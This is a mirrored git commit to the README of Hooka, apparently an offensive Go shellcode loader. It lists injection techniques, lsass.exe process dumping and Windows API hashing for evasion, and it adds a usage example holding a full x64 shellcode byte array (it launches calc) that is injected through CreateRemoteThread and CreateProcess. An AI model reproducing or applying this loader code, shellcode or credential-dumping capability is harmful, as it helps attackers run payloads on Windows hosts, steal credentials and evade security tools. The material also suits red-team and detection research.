mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
little changes
This commit is contained in:
@@ -19,6 +19,8 @@ I started this project to create a powerful shellcode loader with a lot of malle
|
||||
|
||||
However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
|
||||
|
||||
***Tested on x64, Windows 10***
|
||||
|
||||
# Features
|
||||
|
||||
- Get shellcode from remote URL or local file
|
||||
@@ -38,7 +40,6 @@ However I've also taken some code from [BananaPhone](https://github.com/C-Sto/Ba
|
||||
- CreateProcess
|
||||
- EarlyBirdAPC
|
||||
- UuidFromString
|
||||
- QueueApcThread
|
||||
|
||||
- Dump lsass.exe process to a file
|
||||
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
|
||||
|
||||
+3
-3
@@ -144,14 +144,14 @@ import (
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
var calc_shellcode = []byte{}
|
||||
var calc_shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
|
||||
func main(){
|
||||
err := hooka.Fibers(calc_shellcode)
|
||||
err := hooka.CreateRemoteThread(calc_shellcode)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Shellcode injected via Fibers")
|
||||
fmt.Println("Shellcode injected via CreateRemoteThread")
|
||||
|
||||
err = hooka.CreateProcess(calc_shellcode)
|
||||
if err != nil {
|
||||
|
||||
Reference in New Issue
Block a user